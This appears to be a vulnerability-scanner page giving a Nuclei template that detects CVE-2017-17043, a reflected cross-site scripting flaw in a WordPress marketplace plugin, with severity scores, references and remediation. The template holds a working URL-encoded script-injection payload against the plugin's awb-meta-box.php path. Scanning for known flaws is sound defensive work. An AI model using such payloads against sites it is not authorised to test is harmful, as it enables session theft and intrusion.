WordPress Emag Marketplace Connector 1.0 - Cross-Site Scripting

ID: CVE-2017-17043

Severity: medium

Author: daffainfo

Tags: cve,cve2017,xss,wp-plugin,packetstorm,wordpress,zitec

Description

WordPress Emag Marketplace Connector plugin 1.0 contains a reflected cross-site scripting vulnerability because the parameter “post” to /wp-content/plugins/emag-marketplace-connector/templates/order/awb-meta-box.php is not filtered correctly.

YAML Source

id: CVE-2017-17043

info:
  name: WordPress Emag Marketplace Connector 1.0 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress Emag Marketplace Connector plugin 1.0 contains a reflected cross-site scripting vulnerability because the parameter "post" to /wp-content/plugins/emag-marketplace-connector/templates/order/awb-meta-box.php is not filtered correctly.
  impact: |
    Successful exploitation of this vulnerability could lead to the theft of sensitive information, session hijacking, or the execution of arbitrary code in the context of the affected user.
  remediation: |
    Update to the latest version of the WordPress Emag Marketplace Connector plugin (1.1) or apply the vendor-provided patch to fix the XSS vulnerability.
  reference:
    - https://wordpress.org/support/topic/wordpress-emag-marketplace-connector-1-0-cross-site-scripting-vulnerability/
    - https://packetstormsecurity.com/files/145060/wpemagmc10-xss.txt
    - https://wpvulndb.com/vulnerabilities/8964
    - https://nvd.nist.gov/vuln/detail/CVE-2017-17043
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2017-17043
    cwe-id: CWE-79
    epss-score: 0.00245
    epss-percentile: 0.64551
    cpe: cpe:2.3:a:zitec:emag_marketplace_connector:1.0.0:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: zitec
    product: "emag_marketplace_connector"
    framework: wordpress
  tags: cve,cve2017,xss,wp-plugin,packetstorm,wordpress,zitec
flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        internal: true
        words:
          - '/wp-content/plugins/emag-marketplace-connector/'

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/emag-marketplace-connector/templates/order/awb-meta-box.php?post=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 490a004630440220239e9b901191718458321941b86bb460acad13c25f8c0601278c3d52049a56bd02202c02abb3ca0aa1b61f71bc72d97f6dbbe479054f1cebcc27b6cbab4d2dd395f0:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2017/CVE-2017-17043.yaml"

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